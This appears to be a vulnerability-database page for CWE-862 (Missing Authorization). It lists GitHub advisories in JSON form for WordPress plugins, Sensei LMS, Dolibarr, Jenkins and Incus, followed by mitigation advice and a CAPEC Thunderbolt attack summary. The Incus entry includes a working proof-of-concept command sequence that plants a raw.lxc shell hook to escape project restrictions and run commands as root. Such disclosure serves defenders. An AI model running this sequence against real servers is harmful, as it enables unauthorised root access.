CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
14956 vulnerabilities reference this CWE, most recent first.
GHSA-48PX-5FG3-2VF2
Vulnerability from github – Published: 2025-12-24 15:30 – Updated: 2026-01-20 15:32Missing Authorization vulnerability in integrationclaspo Popup Builder: Exit-Intent pop-up, Spin the Wheel, Newsletter signup, Email Capture & Lead Generation forms maker claspo allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Popup Builder: Exit-Intent pop-up, Spin the Wheel, Newsletter signup, Email Capture & Lead Generation forms maker: from n/a through <= 1.0.5.
{
"affected": [],
"aliases": [
"CVE-2025-68568"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-24T13:16:23Z",
"severity": "HIGH"
},
"details": "Missing Authorization vulnerability in integrationclaspo Popup Builder: Exit-Intent pop-up, Spin the Wheel, Newsletter signup, Email Capture \u0026amp; Lead Generation forms maker claspo allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Popup Builder: Exit-Intent pop-up, Spin the Wheel, Newsletter signup, Email Capture \u0026amp; Lead Generation forms maker: from n/a through \u003c= 1.0.5.",
"id": "GHSA-48px-5fg3-2vf2",
"modified": "2026-01-20T15:32:34Z",
"published": "2025-12-24T15:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68568"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/claspo/vulnerability/wordpress-popup-builder-exit-intent-pop-up-spin-the-wheel-newsletter-signup-email-capture-lead-generation-forms-maker-plugin-1-0-5-broken-access-control-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/claspo/vulnerability/wordpress-popup-builder-exit-intent-pop-up-spin-the-wheel-newsletter-signup-email-capture-lead-generation-forms-maker-plugin-1-0-5-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-48Q4-2P6C-RXG9
Vulnerability from github – Published: 2025-03-28 00:31 – Updated: 2026-04-01 18:34Missing Authorization vulnerability in Automattic Sensei LMS allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Sensei LMS: from n/a through 4.24.4.
{
"affected": [],
"aliases": [
"CVE-2025-22740"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-27T22:15:16Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Automattic Sensei LMS allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Sensei LMS: from n/a through 4.24.4.",
"id": "GHSA-48q4-2p6c-rxg9",
"modified": "2026-04-01T18:34:11Z",
"published": "2025-03-28T00:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22740"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/sensei-lms/vulnerability/wordpress-sensei-lms-plugin-4-24-4-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-48Q5-W887-33WV
Vulnerability from github – Published: 2026-06-26 18:33 – Updated: 2026-06-26 18:33Summary
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
Details
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.
PoC
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
Impact
- Bypass of project restrictions.
- Arbitrary command execution on the Incus server.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/incus/v7/cmd/incusd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48751"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T18:33:55Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\n\n### Details\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\nAs snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.\n\nIn practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.\n\n\n### PoC\n\n```\n# remote, restricted\nincus project set rem:project restricted.true\nincus project set rem:project restricted.containers.lowlevel=block\n\n# locally, unrestricted project\nincus init images:debian/trixie rce-raw-lxc\nincus config set rce-raw-lxc raw.lxc=\u0027lxc.hook.pre-start = /bin/sh -c \"/bin/id \u003e/lxc-hook-prestart\"\u0027\nincus snapshot create rce-raw-lxc snap0\n#\u003e allow transfer to restricted project\nincus config unset rce-raw-lxc raw.lxc\n\n# locally, transfer and trigger\nincus move rce-raw-lxc rem: --mode push\nincus snapshot restore rem:rce-raw-lxc snap0\nincus start rem:rce-raw-lxc\n```\n\n\n### Impact\n\n- Bypass of project restrictions.\n- Arbitrary command execution on the Incus server.",
"id": "GHSA-48q5-w887-33wv",
"modified": "2026-06-26T18:33:56Z",
"published": "2026-06-26T18:33:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv"
},
{
"type": "PACKAGE",
"url": "https://github.com/lxc/incus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Incus has a restricted project bypass leading to arbitrary command execution"
}
GHSA-48QM-P36X-5FV5
Vulnerability from github – Published: 2025-04-04 18:31 – Updated: 2026-04-01 18:34Missing Authorization vulnerability in Bookingor Bookingor allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Bookingor: from n/a through 1.0.6.
{
"affected": [],
"aliases": [
"CVE-2025-32231"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-04T16:15:32Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Bookingor Bookingor allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Bookingor: from n/a through 1.0.6.",
"id": "GHSA-48qm-p36x-5fv5",
"modified": "2026-04-01T18:34:32Z",
"published": "2025-04-04T18:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32231"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/bookingor/vulnerability/wordpress-bookingor-plugin-1-0-6-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-48RF-C53V-4537
Vulnerability from github – Published: 2022-12-12 18:30 – Updated: 2022-12-15 15:32The Donation Button WordPress plugin through 4.0.0 does not properly check for privileges and nonce tokens in its "donation_button_twilio_send_test_sms" AJAX action, which may allow any users with an account on the affected site, like subscribers, to use the plugin's Twilio integration to send SMSes to arbitrary phone numbers.
{
"affected": [],
"aliases": [
"CVE-2022-4004"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-12T18:15:00Z",
"severity": "MODERATE"
},
"details": "The Donation Button WordPress plugin through 4.0.0 does not properly check for privileges and nonce tokens in its \"donation_button_twilio_send_test_sms\" AJAX action, which may allow any users with an account on the affected site, like subscribers, to use the plugin\u0027s Twilio integration to send SMSes to arbitrary phone numbers.",
"id": "GHSA-48rf-c53v-4537",
"modified": "2022-12-15T15:32:13Z",
"published": "2022-12-12T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4004"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/6a3bcfb3-3ede-459d-969f-b7b30dafd098"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-48V2-596X-4JR9
Vulnerability from github – Published: 2023-11-01 09:30 – Updated: 2023-11-01 14:57Improper Access Control in Dolibarr ERP CRM <= v17.0.3 allows an unauthorized authenticated user to read a database table containing customer data
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "dolibarr/dolibarr"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "18.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-4198"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-01T14:57:37Z",
"nvd_published_at": "2023-11-01T09:15:09Z",
"severity": "MODERATE"
},
"details": "Improper Access Control in Dolibarr ERP CRM \u003c= v17.0.3 allows an unauthorized authenticated user to read a database table containing customer data",
"id": "GHSA-48v2-596x-4jr9",
"modified": "2023-11-01T14:57:37Z",
"published": "2023-11-01T09:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4198"
},
{
"type": "WEB",
"url": "https://github.com/Dolibarr/dolibarr/commit/3065b9ca6ade988e8d7a8a8550415c0abb56b9cb"
},
{
"type": "WEB",
"url": "https://github.com/Dolibarr/dolibarr/commit/3065b9ca6ade988e8d7a8a8550415c0abb56b9cb#diff-7d68365a708c954051853ade884c7e97c6ff13150ee92657d6ffc8603e0f947b"
},
{
"type": "PACKAGE",
"url": "https://github.com/Dolibarr/dolibarr"
},
{
"type": "WEB",
"url": "https://starlabs.sg/advisories/23/23-4198"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Dolibarr Improper Input Validation vulnerability"
}
GHSA-48W2-Q7HQ-54F8
Vulnerability from github – Published: 2024-05-03 09:30 – Updated: 2026-04-28 21:35Missing Authorization vulnerability in Kama Democracy Poll.This issue affects Democracy Poll: from n/a through 6.0.3.
{
"affected": [],
"aliases": [
"CVE-2024-33920"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-03T09:15:08Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Kama Democracy Poll.This issue affects Democracy Poll: from n/a through 6.0.3.",
"id": "GHSA-48w2-q7hq-54f8",
"modified": "2026-04-28T21:35:03Z",
"published": "2024-05-03T09:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33920"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/democracy-poll/wordpress-democracy-poll-plugin-6-0-3-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-48X9-64J6-VM38
Vulnerability from github – Published: 2023-11-03 00:30 – Updated: 2023-11-10 06:30Submitty before v22.06.00 is vulnerable to Incorrect Access Control. An attacker can delete any post in the forum by modifying request parameter.
{
"affected": [],
"aliases": [
"CVE-2023-43194"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-02T22:15:09Z",
"severity": "MODERATE"
},
"details": "Submitty before v22.06.00 is vulnerable to Incorrect Access Control. An attacker can delete any post in the forum by modifying request parameter.",
"id": "GHSA-48x9-64j6-vm38",
"modified": "2023-11-10T06:30:18Z",
"published": "2023-11-03T00:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43194"
},
{
"type": "WEB",
"url": "https://github.com/Submitty/Submitty/pull/8032"
},
{
"type": "WEB",
"url": "https://fuchai.net/cve/CVE-2023-43194"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-492C-C6RW-QH8R
Vulnerability from github – Published: 2024-05-03 09:30 – Updated: 2026-04-28 21:35Missing Authorization vulnerability in Smartypants SP Project & Document Manager.This issue affects SP Project & Document Manager : from n/a through 4.69.
{
"affected": [],
"aliases": [
"CVE-2024-33923"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-03T09:15:09Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Smartypants SP Project \u0026 Document Manager.This issue affects SP Project \u0026 Document Manager : from n/a through 4.69.",
"id": "GHSA-492c-c6rw-qh8r",
"modified": "2026-04-28T21:35:03Z",
"published": "2024-05-03T09:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33923"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/sp-client-document-manager/wordpress-sp-project-document-manager-plugin-4-69-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-492X-GFQX-WPF3
Vulnerability from github – Published: 2022-05-13 01:17 – Updated: 2024-01-30 22:03A missing permission check in Jenkins Audit to Database Plugin in the DbAuditPublisherDescriptorImpl#doTestJdbcConnection form validation method allows attackers with Overall/Read permission to initiate a connection to an attacker-specified server.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:audit2db"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-1003077"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-30T22:03:31Z",
"nvd_published_at": "2019-04-04T16:29:00Z",
"severity": "MODERATE"
},
"details": "A missing permission check in Jenkins Audit to Database Plugin in the DbAuditPublisherDescriptorImpl#doTestJdbcConnection form validation method allows attackers with Overall/Read permission to initiate a connection to an attacker-specified server.",
"id": "GHSA-492x-gfqx-wpf3",
"modified": "2024-01-30T22:03:31Z",
"published": "2022-05-13T01:17:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1003077"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-04-03/#SECURITY-977"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2019/04/12/2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/107790"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Missing permission check in Jenkins Audit to Database Plugin"
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.